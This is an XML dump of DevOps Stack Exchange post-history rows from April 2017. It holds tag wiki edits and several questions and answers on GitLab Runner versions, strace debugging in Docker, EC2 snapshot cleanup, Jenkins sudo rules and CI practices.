  <row Id="2835" PostHistoryTypeId="5" PostId="872" RevisionGUID="f109d923-26bc-4367-80eb-0a0901352758" CreationDate="2017-04-12T21:40:29.393" UserId="397" Comment="added 1062 characters in body" Text="A database is an organised collection of data.  It is the collection of schemas, tables, queries, reports, views, and other objects. Designers typically arrange data to model aspects of reality in a way that supports processes requiring information.&#xD;&#xA;&#xD;&#xA;## Types of Databases&#xD;&#xA;&#xD;&#xA;Databases can be broken down into several different types of databases:&#xD;&#xA;&#xD;&#xA; - **Relational Databases or RDBMSs** - store data regarding its relation to other pieces of data, held in a strictly enforced schema.&#xD;&#xA; - **Document Databases** - store data regarding single, generally hierarchical, documents.  Schemas are available but may not be enforced or may support versions.&#xD;&#xA; - **Key-Value Stores** - stores keys and their values in a highly efficient hash table like structure.&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [Refactoring Databases: Evolutionary Database Design][2] by Scott J Ambler and Pramod J. Sadalage&#xD;&#xA; - [Q: What practices or tools enable Continuous Deployment of Databases?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/742/397&#xD;&#xA;  [2]: https://www.amazon.com/dp/0321774515/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2836" PostHistoryTypeId="24" PostId="872" RevisionGUID="f109d923-26bc-4367-80eb-0a0901352758" CreationDate="2017-04-12T21:40:29.393" Comment="Proposed by 397 approved by 72 edit id of 251" ContentLicense="CC BY-SA 3.0" />
  <row Id="2837" PostHistoryTypeId="5" PostId="878" RevisionGUID="adf768d8-0140-4cda-b0e1-b2d17f030cc5" CreationDate="2017-04-12T21:40:35.310" UserId="397" Comment="added 275 characters in body" Text="Amazon Simple Queue Service (SQS) is part of Amazon Web Services, providing a fully-managed message queuing service for reliably communicating among distributed software components and microservices.  Use this tag for questions that describe Amazon's Simple Queuing services." ContentLicense="CC BY-SA 3.0" />
  <row Id="2838" PostHistoryTypeId="24" PostId="878" RevisionGUID="adf768d8-0140-4cda-b0e1-b2d17f030cc5" CreationDate="2017-04-12T21:40:35.310" Comment="Proposed by 397 approved by 72 edit id of 256" ContentLicense="CC BY-SA 3.0" />
  <row Id="2839" PostHistoryTypeId="5" PostId="875" RevisionGUID="2a54b31f-9315-429c-acc2-1844e70e6457" CreationDate="2017-04-12T21:40:48.133" UserId="397" Comment="added 211 characters in body" Text="Feature Toggles are a technique applied by Software Engineers to code bases, allowing teams to modify system behaviour without changing code.  Feature Toggles are closely related to the concept of Feature Flags." ContentLicense="CC BY-SA 3.0" />
  <row Id="2840" PostHistoryTypeId="24" PostId="875" RevisionGUID="2a54b31f-9315-429c-acc2-1844e70e6457" CreationDate="2017-04-12T21:40:48.133" Comment="Proposed by 397 approved by 40, 72 edit id of 254" ContentLicense="CC BY-SA 3.0" />
  <row Id="2841" PostHistoryTypeId="5" PostId="877" RevisionGUID="8d917ab2-b4ed-47d1-a980-3de9ee8666d0" CreationDate="2017-04-12T21:40:55.747" UserId="397" Comment="added 1533 characters in body" Text="## Introduction&#xD;&#xA;&#xD;&#xA;[Amazon Simple Queue Service (SQS)][1] is part of Amazon Web Services, providing a fully-managed message queuing service for reliably communicating among distributed software components and microservices.  Use this tag for questions that describe Amazon's Simple Queuing services.&#xD;&#xA;&#xD;&#xA;SQS supports [two different types of queues][1]:&#xD;&#xA;&#xD;&#xA; - **Standard Queues** - Amazon SQS offers standard as the default queue type. A standard queue lets you have a nearly unlimited number of transactions per second. Standard queues guarantee that a message is delivered at least once. However, occasionally (because of the highly-distributed architecture that allows high throughput), more than one copy of a message might be delivered out of order. Standard queues provide best-effort ordering which ensures that messages are delivered in the same order as they are sent.&#xD;&#xA;&#xD;&#xA; - **FIFI Queues** - The FIFO queue complements the standard queue. The most important features of this queue type are FIFO (first-in-first-out) delivery and exactly-once processing: The order in which messages are sent and received is strictly preserved, and a message is delivered once and remains available until a consumer processes and deletes it; duplicates are not introduced into the queue. FIFO queues also support message groups that allow multiple ordered message groups within a single queue. FIFO queues are limited to 300 transactions per second (TPS), but have all the capabilities of standard queues.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/sqs/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2842" PostHistoryTypeId="24" PostId="877" RevisionGUID="8d917ab2-b4ed-47d1-a980-3de9ee8666d0" CreationDate="2017-04-12T21:40:55.747" Comment="Proposed by 397 approved by 72 edit id of 255" ContentLicense="CC BY-SA 3.0" />
  <row Id="2843" PostHistoryTypeId="5" PostId="873" RevisionGUID="57063aaa-3798-4b4f-899f-6fa82d5b4768" CreationDate="2017-04-12T21:41:05.180" UserId="397" Comment="added 399 characters in body" Text="A database is an organised collection of data.  It is the collection of schemas, tables, queries, reports, views, and other objects. Designers typically organise data to model aspects of reality in a way that supports processes requiring information.  Use this tag on questions which ask about database aspects of Continuous Delivery, Continuous Deployment or general DevOps approaches to databases." ContentLicense="CC BY-SA 3.0" />
  <row Id="2844" PostHistoryTypeId="24" PostId="873" RevisionGUID="57063aaa-3798-4b4f-899f-6fa82d5b4768" CreationDate="2017-04-12T21:41:05.180" Comment="Proposed by 397 approved by 72 edit id of 252" ContentLicense="CC BY-SA 3.0" />
  <row Id="2845" PostHistoryTypeId="5" PostId="874" RevisionGUID="e448688f-bc88-432d-8cc1-b3ef7da92531" CreationDate="2017-04-12T21:41:10.263" UserId="397" Comment="added 615 characters in body" Text="Feature toggles are a technique applied by Software Engineers to code bases, allowing teams to modify system behaviour without changing code.  Feature toggles are one of the methods used to separate the activity of deployment from the action of release.&#xD;&#xA;&#xD;&#xA;Feature toggles are closely related to the concept of [tag:feature-flags].&#xD;&#xA;&#xD;&#xA;Further Reading:&#xD;&#xA;&#xD;&#xA; - [Martin Fowler's Article: Feature Toggles][1]&#xD;&#xA; - [DevOps StackExchange: What's the difference between Feature Flags and Feature Toggles][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/articles/feature-toggles.html&#xD;&#xA;  [2]: http://devops.stackexchange.com/q/383/397&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2846" PostHistoryTypeId="24" PostId="874" RevisionGUID="e448688f-bc88-432d-8cc1-b3ef7da92531" CreationDate="2017-04-12T21:41:10.263" Comment="Proposed by 397 approved by 40, 72 edit id of 253" ContentLicense="CC BY-SA 3.0" />
  <row Id="2847" PostHistoryTypeId="5" PostId="880" RevisionGUID="e7c8fb8f-d312-4719-96a7-c555dd771b02" CreationDate="2017-04-12T21:41:13.177" UserId="397" Comment="added 241 characters in body" Text="Autoscaling is the capability of a system to dynamically increase capacity to support higher load, and to subsequently decrease costs to reduce costs.  Use this tag to describe questions that discus autoscale, plastic-scale or elastic-scale." ContentLicense="CC BY-SA 3.0" />
  <row Id="2848" PostHistoryTypeId="24" PostId="880" RevisionGUID="e7c8fb8f-d312-4719-96a7-c555dd771b02" CreationDate="2017-04-12T21:41:13.177" Comment="Proposed by 397 approved by 72 edit id of 258" ContentLicense="CC BY-SA 3.0" />
  <row Id="2849" PostHistoryTypeId="2" PostId="881" RevisionGUID="3f24ae7b-a738-409f-81fd-11b0fed7878d" CreationDate="2017-04-12T21:52:51.320" UserId="2295" Text="I'm stepping through the documentation [here][1] for installing gitlab runner. When I register the runner I get this compatibility error:&#xD;&#xA;&#xD;&#xA;    ERROR: Checking GitLab compatibility... not-compatible  reason:=Gitlab&#xD;&#xA;    Runner &gt;= 9.0 can be used ONLY with GitLab CE/EE &gt;= 9.0 results=405 &#xD;&#xA;    runner=FsqqGSrw statusText=405 Method Not Allowed&#xD;&#xA;&#xD;&#xA;We're operating on an isolated network with Gitlab 8.13.0, and no plan to update at the moment. All I can find in the documentation is this [link][2] which provides the latest 9.0 version of the runner.&#xD;&#xA;&#xD;&#xA;Does anyone know where I might find older versions of gitlab-runner?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/linux-manually.html&#xD;&#xA;  [2]: https://gitlab-ci-multi-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-ci-multi-runner-linux-amd64" ContentLicense="CC BY-SA 3.0" />
  <row Id="2850" PostHistoryTypeId="1" PostId="881" RevisionGUID="3f24ae7b-a738-409f-81fd-11b0fed7878d" CreationDate="2017-04-12T21:52:51.320" UserId="2295" Text="Where can i find older versions of gitlab runner?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2851" PostHistoryTypeId="3" PostId="881" RevisionGUID="3f24ae7b-a738-409f-81fd-11b0fed7878d" CreationDate="2017-04-12T21:52:51.320" UserId="2295" Text="&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2852" PostHistoryTypeId="2" PostId="882" RevisionGUID="53fefda9-30c1-4c2f-8d62-8f0392d65e34" CreationDate="2017-04-13T08:06:38.873" UserId="13" Text="As described in the documentation [you are following](https://docs.gitlab.com/runner/install/linux-manually.html) to install on the first paragraph:&#xD;&#xA;&#xD;&#xA;&gt; You can download a binary for every available version as described in&#xD;&#xA;&gt; Bleeding Edge - download any other tagged release.&#xD;&#xA;&#xD;&#xA;Following the link in this sentence allow your to find the [tag list page](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/tags)&#xD;&#xA;&#xD;&#xA;Last version in 1.X (Hence compatible with 8.X versions of Gitlab is 1.11.2 at time of writing, you can download it from [The tag details page](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/repository/archive.zip?ref=v1.11.2)&#xD;&#xA;&#xD;&#xA;If you prefer another archive format, you can choose in the dropdown of download at the right of the tag page description:&#xD;&#xA;&#xD;&#xA;[![Tags page view with drop down for download at right][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/O8mXn.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2853" PostHistoryTypeId="10" PostId="871" RevisionGUID="eb6e980e-e8ee-4984-9645-a265fb2bf379" CreationDate="2017-04-13T09:15:21.230" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:397,&quot;DisplayName&quot;:&quot;Richard Slater&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="2854" PostHistoryTypeId="5" PostId="881" RevisionGUID="599ea8d5-b67b-4cca-9cb0-bc81a6ac7e3f" CreationDate="2017-04-13T09:24:37.480" UserId="14" Comment="Grammar; capitalisation" Text="I'm stepping through the documentation [here][1] for installing GitLab Runner. When I register the runner, I get this compatibility error:&#xD;&#xA;&#xD;&#xA;    ERROR: Checking GitLab compatibility... not-compatible  reason:=Gitlab&#xD;&#xA;    Runner &gt;= 9.0 can be used ONLY with GitLab CE/EE &gt;= 9.0 results=405 &#xD;&#xA;    runner=FsqqGSrw statusText=405 Method Not Allowed&#xD;&#xA;&#xD;&#xA;We're operating on an isolated network with GitLab 8.13.0, and no plan to update at the moment. All I can find in the documentation is this [link][2] which provides the latest 9.0 version of the runner.&#xD;&#xA;&#xD;&#xA;Does anyone know where I might find older versions of GitLab Runner?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/linux-manually.html&#xD;&#xA;  [2]: https://gitlab-ci-multi-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-ci-multi-runner-linux-amd64" ContentLicense="CC BY-SA 3.0" />
  <row Id="2855" PostHistoryTypeId="4" PostId="881" RevisionGUID="599ea8d5-b67b-4cca-9cb0-bc81a6ac7e3f" CreationDate="2017-04-13T09:24:37.480" UserId="14" Comment="Grammar; capitalisation" Text="Where can I find older versions of GitLab Runner?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2856" PostHistoryTypeId="6" PostId="881" RevisionGUID="599ea8d5-b67b-4cca-9cb0-bc81a6ac7e3f" CreationDate="2017-04-13T09:24:37.480" UserId="14" Comment="Grammar; capitalisation" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2857" PostHistoryTypeId="24" PostId="881" RevisionGUID="599ea8d5-b67b-4cca-9cb0-bc81a6ac7e3f" CreationDate="2017-04-13T09:24:37.480" Comment="Proposed by 14 approved by 13 edit id of 259" ContentLicense="CC BY-SA 3.0" />
  <row Id="2858" PostHistoryTypeId="5" PostId="581" RevisionGUID="daa9bc99-d6be-4296-a81a-886c9a38b413" CreationDate="2017-04-13T11:40:03.460" UserId="14" Comment="added 92 characters in body" Text="For questions about CircleCI, one of the most popular continuous integration tools. For questions about CircleCI 2.0, use [circleci-2.0] instead of this tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="2859" PostHistoryTypeId="24" PostId="581" RevisionGUID="daa9bc99-d6be-4296-a81a-886c9a38b413" CreationDate="2017-04-13T11:40:03.460" Comment="Proposed by 14 approved by 40 edit id of 260" ContentLicense="CC BY-SA 3.0" />
  <row Id="2860" PostHistoryTypeId="5" PostId="845" RevisionGUID="7a603ca9-b5fa-4636-bca9-fa6b815e54ac" CreationDate="2017-04-13T11:58:56.323" UserId="2269" Comment="added 131 characters in body" Text="My company is trying to play a little catch-up in the DevOps space. I have been doing a lot of research on containerization of applications and the orchestration systems that go with it. I came across an article (one that I wish I had saved) where they were talking about combining Swarm with Kubernetes to get better functionality. In this article they did not define what they gained by doing that.&#xD;&#xA;&#xD;&#xA;I wondered what benefits would this provide? Is adding the extra layer of complexity really going to give you much return?&#xD;&#xA;&#xD;&#xA;**EDIT:** I am looking for technical pro's/con's. KISS is a good motto but doesn't hold up in a debate with your CEO or Board. &#xD;&#xA;&#xD;&#xA;I am almost positive that we will be selecting Docker for our containers and Swarm for an orchestration. I, however, would like to see Kubernetes in our space so the proposition that you could merge the technologies together for a more robust solution intrigues me.Thanks for any insight.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2861" PostHistoryTypeId="5" PostId="421" RevisionGUID="594377cd-cf5b-4dd2-9727-2065fb6513d0" CreationDate="2017-04-13T12:14:55.217" UserId="-1" Comment="replaced http://serverfault.com/ with https://serverfault.com/" Text="General ways to track why a process in Linux failed are good. One such way is to run a process using [`strace`][1] which will tell you the system calls process did and usually point to the reason for a failure.&#xD;&#xA;&#xD;&#xA;You can create a `Dockerfile` that looks something like this:&#xD;&#xA;&#xD;&#xA;    FROM original_image&#xD;&#xA;&#xD;&#xA;    RUN apt-get -y update &amp;&amp; apt-get install -y strace&#xD;&#xA;&#xD;&#xA;    # build with `docker build -t debug_version`&#xD;&#xA;&#xD;&#xA;Then run your new image using `docker run debug_version strace original_cmd`.&#xD;&#xA;&#xD;&#xA;For processes that fork children (and then die) you want to run `strace` with the `-ff` option. You can also map some file using [Docker data volumes][2] and use the `-o` option from `strace` to write to it. But in general `strace` will leave output on stdout, which is readable using `docker log`.&#xD;&#xA;&#xD;&#xA;Related [Q: Linux process terminates mysteriously][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://man7.org/linux/man-pages/man1/strace.1.html&#xD;&#xA;  [2]: https://docs.docker.com/engine/tutorials/dockervolumes/&#xD;&#xA;  [3]: https://serverfault.com/questions/656760/linux-process-terminates-mysteriously" ContentLicense="CC BY-SA 3.0" />
  <row Id="2862" PostHistoryTypeId="5" PostId="625" RevisionGUID="d1ea311d-290b-4e4e-84c2-b0cd35a1a721" CreationDate="2017-04-13T12:14:55.217" UserId="-1" Comment="replaced http://serverfault.com/ with https://serverfault.com/" Text="Here is one script which can help you find orphaned snapshots&#xD;&#xA;&#xD;&#xA;    comm -23 &lt;(echo $(ec2-describe-snapshots --region eu-west-1 | grep SNAPSHOT | awk '{print $2}' | sort | uniq) | tr ' ' '\n') &lt;(echo $(ec2-describe-images --region eu-west-1 | grep BLOCKDEVICEMAPPING | awk '{print $3}' | sort | uniq) | tr ' ' '\n') | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;(from [here][1])&#xD;&#xA;&#xD;&#xA;Also you can check this article from [serverfault][2]&#xD;&#xA;&#xD;&#xA;P.S. Of course you can change the region to reflect your&#xD;&#xA;&#xD;&#xA;P.P.S. Here is updated code:&#xD;&#xA;&#xD;&#xA;     comm -23 \&#xD;&#xA;    &lt;(echo $(aws ec2 describe-snapshots --region eu-west-1 |awk '/SNAPSHOT/ {print $2}' | sort -u) | tr ' ' '\n') \&#xD;&#xA;    &lt;(echo $(aws ec2 describe-images --region eu-west-1 |  awk '/BLOCKDEVICEMAPPING/ {print $3}' | sort -u) | tr ' ' '\n') | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;The sample exaplanations what the code do is:&#xD;&#xA;&#xD;&#xA;    echo $(aws ec2 describe-snapshots --region eu-west-1 | awk '/SNAPSHOT/ {print $2}' | sort -u) | tr ' ' '\n')&#xD;&#xA;&#xD;&#xA;send to STDOUT the list of snapshots. this construction:&#xD;&#xA;&#xD;&#xA;    &lt;(...)&#xD;&#xA;&#xD;&#xA;create virtual temporary filehandler to make `comm` command read from two &quot;files&quot; and compare them&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robertsindall.co.uk/blog/how-to-clean-up-amazon-ebs-volumes-and-snapshots/&#xD;&#xA;  [2]: https://serverfault.com/questions/611831/find-all-snapshots-created-by-ami-where-ami-is-deleted" ContentLicense="CC BY-SA 3.0" />
  <row Id="2863" PostHistoryTypeId="5" PostId="774" RevisionGUID="0ac69271-6145-4ff9-8b4f-a6d747f7e9dc" CreationDate="2017-04-13T12:14:55.217" UserId="-1" Comment="replaced http://serverfault.com/ with https://serverfault.com/" Text="So after a debug session in [chat](http://chat.stackexchange.com/rooms/56541/discussion-between-tensibai-and-tobassist) what is needed is to allow the user running jenkins to be able to `sudo docker` passwordless on the docker host. &#xD;&#xA;&#xD;&#xA;A typical sudoers file on ubuntu could be in `/etc/sudoers.d/jenkins`&#xD;&#xA;&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:ALL&#xD;&#xA;&#xD;&#xA;Be warned this allow `jenkins_user` to run as root without password any command, a better file should be:&#xD;&#xA;&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:/full/path/to/docker&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:&lt;other needed command to be run as root&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will allow to start the container as root and as such it gives all rights within the container itself by running as uid 0.&#xD;&#xA;&#xD;&#xA;Useful resources used aside:&#xD;&#xA;&#xD;&#xA;- [Jenkins docker plugin readme](https://wiki.jenkins-ci.org/display/JENKINS/Docker+Plugin)&#xD;&#xA;- [How to setup passwordless `sudo` on Linux?](https://serverfault.com/a/596988)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2864" PostHistoryTypeId="5" PostId="187" RevisionGUID="9e64b355-d01d-4f4c-942d-24caefa57ddc" CreationDate="2017-04-13T12:37:20.510" UserId="-1" Comment="replaced http://unix.stackexchange.com/ with https://unix.stackexchange.com/" Text="Usually you have at least two replicas of data between the nodes of GlusteFS cluster. &#xD;&#xA;&#xD;&#xA;If you need details about handover between the nodes (in case of one node fail) you can check [this][1] answer in Unix and Linux SE site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://unix.stackexchange.com/questions/213705/glusterfs-how-to-failover-smartly-if-a-mounted-server-is-failed" ContentLicense="CC BY-SA 3.0" />
  <row Id="2865" PostHistoryTypeId="5" PostId="504" RevisionGUID="b0db1043-b237-42ec-a80a-54a628942e08" CreationDate="2017-04-13T12:44:59.203" UserId="-1" Comment="replaced http://stats.stackexchange.com/ with https://stats.stackexchange.com/" Text="This is a similar question like the [Statistics Conferences question at CrossValidated][1]&#xD;&#xA;&#xD;&#xA;What are the Devops or Devops-related conferences happening around the world?&#xD;&#xA;&#xD;&#xA;Rules:&#xD;&#xA;&#xD;&#xA; - Include a link to the conference&#xD;&#xA; - Please include links for the talks (be it youtube, the conference site or some other video streaming site)&#xD;&#xA;&#xD;&#xA;  [1]: https://stats.stackexchange.com/questions/1904/statistics-conferences" ContentLicense="CC BY-SA 3.0" />
  <row Id="2866" PostHistoryTypeId="5" PostId="644" RevisionGUID="c73dace9-ed06-4576-b7e5-38e1c5c791b5" CreationDate="2017-04-13T12:45:32.153" UserId="-1" Comment="replaced http://apple.stackexchange.com/ with https://apple.stackexchange.com/" Text="One possible issue is that the NVM install script only writes the commands to set itself up to either .bash_profile OR .bashrc.  Depending on your systems configuration, it may only be setup for interactive shells, not ones spawned by other programs ([more info][1]).  Sourcing the nvm setup script can be a good option, as a previous comment noted.  If you have a number of commands to run for 1 make target, look into [.ONESHELL][2].  Sourcing $NVM_DIR/nvm.sh should take care of it.&#xD;&#xA;&#xD;&#xA;[Another option][3] that invokes bash directly with the interactive flag might work as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://apple.stackexchange.com/questions/51036/what-is-the-difference-between-bash-profile-and-bashrc&#xD;&#xA;  [2]: https://www.gnu.org/software/make/manual/html_node/One-Shell.html#One-Shell&#xD;&#xA;  [3]: http://stackoverflow.com/a/13130922" ContentLicense="CC BY-SA 3.0" />
  <row Id="2867" PostHistoryTypeId="5" PostId="272" RevisionGUID="22b5e092-12c0-4a6f-a2a0-c9367bd599c0" CreationDate="2017-04-13T12:45:57.413" UserId="-1" Comment="replaced http://softwareengineering.stackexchange.com/ with https://softwareengineering.stackexchange.com/" Text="As far as I can tell, you're looking for a tool that will **reject** commits that break the build—a CI tool probably won't be able to prevent regressions by actually fixing your code, but it can stop you from adding bad code to the repository.&#xD;&#xA;&#xD;&#xA;[Atlassian has a few interesting applications of Git hooks](https://www.atlassian.com/continuous-delivery/git-hooks-continuous-integration):&#xD;&#xA;&#xD;&#xA;&gt; Server-side pre-receive hooks are an especially powerful compliment to continuous integration because they can prevent developers from pushing code to master, unless the code meets certain conditions – like elite ninja guardians, protecting it from bad code.&#xD;&#xA;&#xD;&#xA;If you're using Git, the hooks are **very** powerful (and there are similar hooks for [SVN](http://svnbook.red-bean.com/nightly/en/svn.reposadmin.create.html), [Mercurial](http://hgbook.red-bean.com/read/handling-repository-events-with-hooks.html) and other version control systems), and you might find it useful to use them to run pre-commit checks.&#xD;&#xA;&#xD;&#xA;The Git documentation [has a page on creating a hook to reject pushes if they don't meet a certain criteria](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy) which could easily be adapted to this use-case.&#xD;&#xA;&#xD;&#xA;However, a lot of people would argue that rejecting commits [is a bad idea](https://softwareengineering.stackexchange.com/questions/294228/automatically-reverting-commits-that-fail-the-build) on a `feature` branch—you'll just be wasting time fighting against your CI system when the build breaks for some reason, instead of actually fixing the bug. &#xD;&#xA;&#xD;&#xA;On the `master` branch, it could make sense to reject broken merges, because you might want to ensure it always builds. For a `feature` branch, you **will** inevitably break things, and since the code isn't going into production **now**, it makes more sense just to warn you than actually reject your commit altogether." ContentLicense="CC BY-SA 3.0" />
  <row Id="2868" PostHistoryTypeId="5" PostId="572" RevisionGUID="48637ff8-43b5-4dfe-831c-867fcc2067ae" CreationDate="2017-04-13T12:45:57.413" UserId="-1" Comment="replaced http://softwareengineering.stackexchange.com/ with https://softwareengineering.stackexchange.com/" Text="I would separate the CI and CD contexts, as the periodicity in one of them is rather loosely coupled to the periodicity in the other one. &#xD;&#xA;&#xD;&#xA;That's primarily because CI attempts to produce versions of software *available* for delivery/distribution, see http://devops.stackexchange.com/questions/488/how-does-continuous-integration-relate-to-continuous-delivery-deployment/493#493&#xD;&#xA;But not all CI executions are successful. CD periodicity will, at best, be equal to the CI one, but typically it will be lower.&#xD;&#xA;&#xD;&#xA;In CI the periodicity is tightly coupled to the desired development velocity (and maybe branch stability) and can be driven by different project-specific requirements. Here are just some examples of CI execution patterns, there could be others:&#xD;&#xA;&#xD;&#xA;1. launched for every changeset commit - the recommended one, as it offers the shortest time to identify a changeset causing a regression, see [Build on each commit - Continuous delivery][1]. Costs vary with the commit rates.&#xD;&#xA;&#xD;&#xA;2. launched every `N` (fixed number of) commits - trade culprit identification performance of #1 for slightly lower costs (overall fewer executions)&#xD;&#xA;&#xD;&#xA;3. launched every `T` (fixed) time interval&#xD;&#xA;&#xD;&#xA;  - fixed costs due to predictive amount of executions: no cost hikes for commit activity peaks, a day with twice the number of commits than another will still cost the same&#xD;&#xA;  - culprit identification performance drops vs #1 if multiple changesets are committed within `T`&#xD;&#xA;  - consecutive executions without any changeset committed in between offer measurements of the verification process reliability - different results in such executions could indicate unreliable verifications&#xD;&#xA;&#xD;&#xA;4. launched whenever resources for execution are available - if that's where the bottleneck of the process lies. Any of the above categories can appear depending on the pattern of commits relative to the intervals between executions. This maximizes the verification resources ROI.&#xD;&#xA;&#xD;&#xA;5. launched with one pattern during working hours and a different pattern overnight - to balance computing resources utilisation, for example.&#xD;&#xA;&#xD;&#xA;Another possible reason for periodicity mismatch between CI and CD is the variability in the duration of the CI executions. Caused, for example, by that prohibited build schedule policy you mentioned (see also http://devops.stackexchange.com/questions/513/how-to-implement-a-frozen-test-environment) Or by builds executed on classes of servers with significantly different performance, thus lasting different amounts of time.&#xD;&#xA;&#xD;&#xA;Even for a successful CI execution in which the produced software version qualifies and is available for deployment it doesn't necessarily mean it will also be immediately deployed (or even deployed at all). There can be other criteria or policies preventing it (business reasons, for example).&#xD;&#xA;&#xD;&#xA;  [1]: https://softwareengineering.stackexchange.com/questions/334574/build-on-each-commit-continuous-delivery" ContentLicense="CC BY-SA 3.0" />
  <row Id="2871" PostHistoryTypeId="5" PostId="52" RevisionGUID="77085e99-cb5f-4410-8f91-4ea822395d60" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Number of commits.&#xD;&#xA;&#xD;&#xA;Jenkins is a fork of Hudson (as commented [here](https://devops.stackexchange.com/questions/7/why-has-hudson-been-renamed-to-jenkins)) but has a more active development, Hudson's [last commit](http://git.eclipse.org/c/hudson/org.eclipse.hudson.core.git/log/) is quite old. And look at Hudson's [open bugs](https://bugs.eclipse.org/bugs/buglist.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;component=&amp;product=Hudson&amp;query_format=advanced)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2872" PostHistoryTypeId="5" PostId="127" RevisionGUID="4214a32a-af38-4073-8bd8-5514526d2c39" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="According to the [article you linked][1], Team Resources are shared. This means that all droplets (hosts) are shared across the team once you have a team in place.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: [https://www.digitalocean.com/community/tutorials/how-to-use-teams-on-digitalocean#team-resources][1]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This means that each team member, using his own personal token, can manage all the resources shared with her. Terraform allows each user to use his own credentials when managing resources, and includes a state file (that must be shared as well). Managing shared `tfstate` and managing secrets is addressed in this [DevOps.SE question][2].&#xD;&#xA;&#xD;&#xA;  [1]: http://%20https://www.digitalocean.com/community/tutorials/how-to-use-teams-on-digitalocean#team-resources&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/79/how-can-i-manage-secrets-in-tf-and-tfstate" ContentLicense="CC BY-SA 3.0" />
  <row Id="2873" PostHistoryTypeId="5" PostId="143" RevisionGUID="75ca077c-eccf-427e-8c10-8266a24925be" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="As answered by [Romeo Ninov][1] in Black Box testing, tester is unaware about the application internal structure.&#xD;&#xA;&#xD;&#xA;&gt; This method is named so because the software program, in the eyes of&#xD;&#xA;&gt; the tester, is like a black box; inside which one cannot see. This&#xD;&#xA;&gt; method attempts to find errors in the following categories:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Incorrect or missing functions&#xD;&#xA;&gt;  - Interface errors&#xD;&#xA;&gt;  - Errors in data structures or external database access&#xD;&#xA;&gt;  - Behavior or performance errors&#xD;&#xA;&gt;  - Initialization and termination errors&#xD;&#xA;&#xD;&#xA;Refrence:&#xD;&#xA;&#xD;&#xA;- http://softwaretestingfundamentals.com/black-box-testing/&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/57/romeo-ninov" ContentLicense="CC BY-SA 3.0" />
  <row Id="2874" PostHistoryTypeId="5" PostId="146" RevisionGUID="bacbc4f4-1dd0-4329-88d7-6f4155529459" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="The **SCM system** you use can be essential in making your CI choice.&#xD;&#xA;&#xD;&#xA;Using a private/intranet solution, for example, pretty much excludes `CircleCI` and `TravisCI` as these only support cloud-based `GitHub` and/or `Bitbucket`.&#xD;&#xA;&#xD;&#xA;`Jenkins` has plugins supporting many SCM systems out there, see https://devops.stackexchange.com/questions/12/which-scm-tools-does-jenkins-support. But using a less popular or a wrapped/customized SCM system may require development of a new plugin.&#xD;&#xA;&#xD;&#xA;Also particularities of your **building/testing framework/infrastructure** may matter, for similar reasons (configuration, location/access method and compatibility/support)." ContentLicense="CC BY-SA 3.0" />
